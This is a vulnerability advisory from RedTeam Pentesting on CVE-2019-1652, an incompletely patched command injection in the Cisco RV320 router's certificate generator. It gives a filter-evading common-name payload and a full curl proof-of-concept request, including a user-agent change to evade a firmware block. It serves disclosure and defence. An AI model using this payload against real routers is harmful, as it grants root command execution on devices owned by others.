Advisory: Cisco RV320 Command Injection

RedTeam Pentesting discovered a command injection vulnerability in the
web-based certificate generator feature of the Cisco RV320 router which
was inadequately patched by the vendor.

Details
=======

Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others
Affected Versions: 1.4.2.15 through 1.4.2.20
Fixed Versions: none
Vulnerability Type: Remote Code Execution
Security Risk: medium
Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject
Vendor Status: working on patch
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-005
Advisory Status: published
CVE: CVE-2019-1652
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1652

Introduction
============

"Keep your employees, your business, and yourself productive and
effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal
choice for any small office or small business looking for performance,
security, and reliability in its network."
(from the Cisco RV320 product page [1])

More Details
============

The router's web interface enables users to generate new X.509
certificates directly on the device. Previously, RedTeam Pentesting
identified a vulnerability (rt-sa-2018-004) [2] in this component. By
providing a specially crafted common name, it was possible to inject
shell commands which were subsequently executed on the router as the
root user. This vulnerability was adressed in firmware version 1.4.2.19
published by Cisco [3].

RedTeam Pentesting discovered that the certificate generator in the patched
firmware is still vulnerable. The update adds several filters to handle
single quotes in user input. However, these filters can be evaded by
specially crafted inputs. By providing the following string for the
certificate's common name, a "ping" command can be injected:

------------------------------------------------------------------------
'a$(ping -c 4 192.168.1.2)'b
------------------------------------------------------------------------

Proof of Concept
================

The following HTTP POST request invokes the certificate generator
function and triggers the command injection. It requires a valid session
cookie for the device's web interface. The user agent "curl" is
blacklisted by the firmware and must be adjusted in the HTTP client.

------------------------------------------------------------------------
$ curl -s -k -A kurl -X POST -b "$COOKIE" \
--data "page=self_generator.htm&totalRules=1&OpenVPNRules=30"\
"&submitStatus=1&log_ch=1&type=4&Country=A&state=A&locality=A"\
"&organization=A&organization_unit=A&email=ab%40example.com"\
"&KeySize=512&KeyLength=1024&valid_days=30&SelectSubject_c=1&"\
"SelectSubject_s=1" \
--data-urlencode "common_name='a\$(ping -c 4 192.168.1.2)'b" \
"https://192.168.1.1/certificate_handle2.htm?type=4"
------------------------------------------------------------------------

Afterwards, the incoming ICMP echo requests can be observed on the
attacker's system at 192.168.1.2.

Workaround
==========

Prevent untrusted users from using the router's web interface.

Fix
===

None

Security Risk
=============

The vulnerability allows attackers with administrative access to the
router's web interface to execute arbitrary operating system commands on
the device. Because attackers require valid credentials to the web
interface, this vulnerability is only rated as a medium risk.

Timeline
========

2018-09-19 Original vulnerability identified
2018-09-27 Customer approved disclosure to vendor
2018-09-28 Vendor notified
2018-10-05 Receipt of advisory acknowledged by vendor
2018-10-05 Notified vendor of disclosure date: 2019-01-09
2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor
2019-01-16 List of affected versions provided by vendor
2019-01-22 Firmware 1.4.2.20 released by vendor
2019-01-23 Advisory (rt-sa-2018-004) published

2019-02-07 Incomplete mitigation of vulnerability identified
2019-02-08 Proof of concept sent to vendor
2019-02-08 Receipt of proof of concept acknowledged by vendor
2019-02-15 Full advisory sent to vendor
2019-02-15 Notified vendor of disclosure date: 2019-03-27
2019-03-25 Requested progress update from vendor
2019-03-25 Vendor requests postponed disclosure
2019-03-25 Postponement declined
2019-03-27 Advisory published

References
==========

[1] https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html
[2] https://www.redteam-pentesting.de/advisories/rt-sa-2018-004
[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject

RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/

RT-SA-2019-005 Cisco RV320 Command Injection Retrieval的更多相关文章

  1. 安全性测试入门:DVWA系列研究(二):Command Injection命令行注入攻击和防御

    本篇继续对于安全性测试话题,结合DVWA进行研习. Command Injection:命令注入攻击. 1. Command Injection命令注入 命令注入是通过在应用中执行宿主操作系统的命令, ...

  2. RT-SA-2019-003 Cisco RV320 Unauthenticated Configuration Export

    Advisory: Cisco RV320 Unauthenticated Configuration Export RedTeam Pentesting discovered that the co ...

  3. RT-SA-2019-004 Cisco RV320 Unauthenticated Diagnostic DataRetrieval

    Advisory: Cisco RV320 Unauthenticated Diagnostic Data Retrieval RedTeam Pentesting discovered that t ...

  4. DVWA之命令注入(command injection)

    Command injection就是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的 LOW 无论是Windows还是Linux,都可以使用&&连接多个命令 执行 ...

  5. DVWA Command Injection 通关教程

    Command Injection 介绍 命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻 ...

  6. DVWA Command Injection 解析

    命令注入,即 Command Injection.是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的. 在Web应用中,有时候会用到一些命令执行的函数,如php中system.ex ...

  7. Fortify Audit Workbench 笔记 Command Injection(命令注入)

    Command Injection(命令注入) Abstract 执行不可信赖资源中的命令,或在不可信赖的环境中执行命令,都会导致程序以攻击者的名义执行恶意命令. Explanation Comman ...

  8. DWVA-命令注入漏洞闯关(Command Injection)

    前言 Vulnerability: Command Injection LOW级别 代码: <?php if( isset( $_POST[ 'Submit' ] ) ) { // 几首一个变量 ...

  9. bWAPP----HTML OS Command Injection - Blind

    OS Command Injection - Blind 先上代码,他判断了win还是linux然后进行了ping但是结果并没有返回. 1 <div id="main"> ...

随机推荐

  1. uml类图关系

    原文地址http://www.jfox.info/uml-lei-tu-guan-xi-fan-hua-ji-cheng-shi-xian-yi-lai-guan-lian-ju-he-zu-he 在 ...

  2. Ambari——大数据平台的搭建利器之进阶篇

    前言 本文适合已经初步了解 Ambari 的读者.对 Ambari 的基础知识,以及 Ambari 的安装步骤还不清楚的读者,可以先阅读基础篇文章<Ambari——大数据平台的搭建利器>. ...

  3. Git拉取、提交、迁出、合并、删除分之命令

    #拉取代码 git clone -b 分之名称 git地址 #提交代码 git add . //:注释,if是第一次提交: $ git add --all . (请注意后面有个英文点(表示是当前目录) ...

  4. Spring Boot:The field file exceeds its maximum permitted size of 1048576 bytes

    错误信息:The field file exceeds its maximum permitted size of 1048576 bytes原因是因为SpringBoot内嵌tomcat默认所能上传 ...

  5. [亲测]七步学会ASP.NET Core 2.0怎么发布/部署到Ubuntu Linux服务器并配置Nginx反向代理实现域名访问

    前言 ASP.NET Core 2.0 怎么发布到Ubuntu服务器?又如何在服务器上配置使用ASP.NET Core网站绑定到指定的域名,让外网用户可以访问呢? 步骤 第1步:准备工作 一台Liun ...

  6. 随心测试_软测基础_002_<测试工程师_核心技能体系>

    测试工程师核心技能体系构成 测试基础体系:[对象——>方法——>流程].[测试活动类型——>质量] 测试分析体系:[测试对象分析]——>[测试设计(计划.数据.用例.文档)] ...

  7. 开发工具IntelliJ IDEA的安装步骤及首次启动和创建项目

    开发工具IDEA概述 DEA是一个专门针对Java的集成开发工具(IDE),由Java语言编写.所以,需要有JRE运行环境并配置好环境变量.它可以极大地提升我们的开发效率.可以自动编译,检查错误.在公 ...

  8. Python——电子邮件、Internet协议相关模块

    一.电子邮件相关模块 email:用于处理电子邮件 smtpd:SMTP服务器 base64:Base-16.32.64数据编码 mhlib:处理MH文件格式解析的类 mailcap:mailcap文 ...

  9. Python——Django-settings.py的内容

    一.HTML路径设置 #所有和HTML路径相关的设置都在这里 TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTem ...

  10. 2.1 re 模块

    正则表达式 简单的范围的字符组 字符 量词 字符集 分组 转义字符 flags 方法  .findall() .finditer() .search() .match()  .sub() .subn( ...